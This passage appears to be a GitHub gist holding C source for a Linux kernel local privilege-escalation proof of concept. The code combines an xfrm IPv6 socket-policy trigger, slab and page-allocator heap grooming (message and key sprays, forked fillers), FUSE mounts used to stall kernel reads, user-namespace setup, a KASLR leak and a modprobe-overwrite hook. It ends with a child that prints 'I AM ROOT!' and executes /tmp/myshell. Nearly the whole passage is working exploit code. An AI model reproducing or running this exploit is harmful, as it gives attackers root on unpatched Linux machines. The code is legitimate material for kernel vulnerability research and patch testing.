addr->sin6_port = htons(0); | |
addr->sin6_addr = in6addr_loopback; | |
iov.iov_base = nlh; | |
iov.iov_len = 0x78; | |
msg.msg_name = 3; | |
msg.msg_namelen = 0; | |
msg.msg_iov = &iov; | |
msg.msg_iovlen = 1; | |
msg.msg_control = 7; | |
msg.msg_controllen = 0; | |
msg.msg_flags = 0; | |
res = syscall(__NR_sendmsg, r[0], &msg, 0ul); | |
res = syscall(__NR_socket, AF_INET6, SOCK_RAW, IPPROTO_TCP); | |
if (res != -1) | |
r[1] = res; | |
addr = (struct sockaddr_in6 *)0x200000c0; | |
addr->sin6_family = AF_INET6; | |
addr->sin6_port = htons(0); | |
addr->sin6_addr = in6addr_loopback; | |
res = syscall(__NR_connect, r[1], (struct sockaddr *)addr, sizeof(*addr)); | |
struct xfrm_userpolicy_info *xpinfo = (void*)0x20000100; | |
xpinfo->sel.daddr.a4 = htobe32(0); | |
xpinfo->sel.saddr.a4 = htobe32(0xac1e0001); | |
xpinfo->sel.dport = htobe16(0); | |
xpinfo->sel.dport_mask = htobe16(0); | |
xpinfo->sel.sport = htobe16(0); | |
xpinfo->sel.sport_mask = htobe16(0); | |
xpinfo->sel.family = AF_INET6; | |
xpinfo->sel.prefixlen_d = 0; | |
xpinfo->sel.prefixlen_s = 0; | |
xpinfo->sel.proto = IPPROTO_IP; | |
xpinfo->sel.ifindex = 0; | |
xpinfo->sel.user = -1; | |
xpinfo->lft.soft_byte_limit = 0; | |
xpinfo->lft.hard_byte_limit = 0; | |
xpinfo->lft.soft_packet_limit = 0; | |
xpinfo->lft.hard_packet_limit = 0; | |
xpinfo->lft.soft_add_expires_seconds = 0; | |
xpinfo->lft.hard_add_expires_seconds = 0; | |
xpinfo->lft.soft_use_expires_seconds = 0; | |
xpinfo->lft.hard_use_expires_seconds = 0; | |
xpinfo->curlft.bytes = 0; | |
xpinfo->curlft.packets = 0; | |
xpinfo->curlft.add_time = 0; | |
xpinfo->curlft.use_time = 0; | |
xpinfo->priority = 0; | |
xpinfo->index = 0; | |
xpinfo->dir = XFRM_POLICY_OUT; | |
xpinfo->action = XFRM_POLICY_ALLOW; | |
xpinfo->flags = 0; | |
xpinfo->share = XFRM_SHARE_ANY; | |
struct xfrm_user_tmpl *ut = (struct xfrm_user_tmpl *) (xpinfo + 1); | |
NONFAILING(*(uint8_t*)0x200001a8 = -1); | |
NONFAILING(*(uint8_t*)0x200001a9 = 1); | |
NONFAILING(memset((void*)0x200001aa, 0, 13)); | |
NONFAILING(*(uint8_t*)0x200001b7 = 1); | |
ut->id.spi = htobe32(0); | |
ut->id.proto = IPPROTO_ESP; | |
ut->family = PF_UNSPEC; | |
ut->saddr.a4 = 0xfc; | |
ut->reqid = 0; | |
ut->mode = XFRM_MODE_TRANSPORT; | |
ut->share = XFRM_SHARE_ANY; | |
ut->optional = 0; | |
ut->aalgos = 0; | |
ut->ealgos = 0; | |
ut->calgos = 0; | |
res = syscall(__NR_setsockopt, r[1], SOL_IPV6, IPV6_XFRM_POLICY, xpinfo, sizeof(*xpinfo) + sizeof(*ut)); | |
int tty_fd[1024]; | |
int n_msg; | |
int msqid_bk[1024]; | |
// Consume up kmalloc-4k slab | |
msg_spray(SLAB_4k_OBJS_PER_SLAB * (1+SLAB_4k_CPU_PARTIAL), MSG_LEN, 1); | |
msg_spray(SLAB_4k_OBJS_PER_SLAB * (1 + SLAB_4k_CPU_PARTIAL) - 5 , SIZE_OF_USER_KEY_PAYLOAD, 1); | |
// consume lower page order's (<=3) freelist | |
int fill_large = pagealloc_pad(0x1000, 0x1000); | |
#ifdef EXPAND_LOWER_ORDER | |
#define PROC_FORK 10 | |
// Make sure lower page order (<3) allocatioin and free won't affect | |
// order 3 (merging from order 2 or split order 3 to fulfill order 2) | |
initialise_shared(&free_mutex); | |
pthread_mutex_lock(&free_mutex->mutex); | |
printf("start filling lower order\n"); | |
for (int k=0; k<PROC_FORK; k ++) { | |
if (fork() == 0) { | |
int fill_fd[5][200]; | |
for (int i=0; i<5; i++) { // N = 100 * PROC_FORK | |
// allocate two order 2 blocks which split from order 3 | |
fill_fd[0][i] = pagealloc_pad(1, 0x4000); | |
fill_fd[1][i] = pagealloc_pad(1, 0x4000); | |
} | |
printf("[+] %d waiting for free\n", k); | |
free_mutex->done++; | |
pthread_mutex_lock(&free_mutex->mutex); | |
for (int i=0; i<5; i++) { | |
// free 1 of 2 order 2 blocks, keep the other in order 2 freelist | |
close(fill_fd[0][i]); | |
} | |
free_mutex->done--; | |
pthread_mutex_unlock(&free_mutex->mutex); | |
printf("[+] %d free done -> %d\n", k, free_mutex->done); | |
pause(); | |
} | |
} | |
while (free_mutex->done < PROC_FORK) { | |
usleep(10000); | |
} | |
printf("Released free lock\n"); | |
pthread_mutex_unlock(&free_mutex->mutex); | |
while (free_mutex->done > 0) { | |
usleep(10000); | |
} | |
printf("fill lower order done\n"); | |
//close(fill_large); // release all page 0 objects | |
#endif | |
// initialize fuse | |
init_fuse_mem("evil1/evil", &fuse_mem_addr, NULL, 0x100000); | |
initialise_shared(&hang_threads); | |
pagealloc_pad(0x2000, 0x8000); | |
#ifdef KERNEL_LEAK | |
if (!leak_kalsr()) | |
exit(0); | |
#endif | |
// #ifdef KERNEL_EXP | |
// overwrite_modprobe(); | |
// #endif | |
pause(); | |
} | |
static const struct fuse_operations evil_ops1 = { | |
.getattr = evil_getattr, | |
.readdir = evil_readdir, | |
.read = evil_read_pause, | |
}; | |
static const struct fuse_operations evil_ops2 = { | |
.getattr = evil_getattr, | |
.readdir = evil_readdir, | |
.read = evil_read_sleep, | |
}; | |
void unshare_setup(uid_t uid, gid_t gid) | |
{ | |
int temp; | |
char edit[0x100]; | |
unshare(CLONE_NEWNS|CLONE_NEWUSER); | |
temp = open("/proc/self/setgroups", O_WRONLY); | |
write(temp, "deny", strlen("deny")); | |
close(temp); | |
temp = open("/proc/self/uid_map", O_WRONLY); | |
snprintf(edit, sizeof(edit), "0 %d 1", uid); | |
write(temp, edit, strlen(edit)); | |
close(temp); | |
temp = open("/proc/self/gid_map", O_WRONLY); | |
snprintf(edit, sizeof(edit), "0 %d 1", gid); | |
write(temp, edit, strlen(edit)); | |
close(temp); | |
return; | |
} | |
char *fargs_evil1[] = {"poc", "evil1", NULL }; | |
char *fargs_evil2[] = {"poc", "evil2", NULL }; | |
int main(int argc, char *argv[]) | |
{ | |
load_symbols(); | |
initialise_shared(&shell_lock); | |
pthread_mutex_lock(&shell_lock->mutex); | |
if (!fork()) | |
{ | |
pthread_mutex_lock(&shell_lock->mutex); | |
printf("[+] I AM ROOT!\n"); | |
execve("/tmp/myshell", NULL, NULL); | |
} | |
fargs_evil1[0] = argv[0]; | |
fargs_evil2[0] = argv[0]; | |
unshare_setup(getuid(), getgid()); | |
modprobe_init(); | |
mkdir(FUSE_MOUNT1, 0777); | |
mkdir(FUSE_MOUNT2, 0777); | |
pipe(fuse_pipes); | |
evil_buffer = malloc(0x10000); | |
if (!fork()) | |
{ | |
fuse_main(sizeof(fargs_evil1)/sizeof(char *) -1 , fargs_evil1, &evil_ops1, NULL); | |
} | |
sleep(1); | |
if (!fork()) | |
{ | |
fuse_main(sizeof(fargs_evil2)/sizeof(char *) -1 , fargs_evil2, &evil_ops2, NULL); | |
} | |
sleep(1); | |
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); | |
do_sandbox_namespace(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment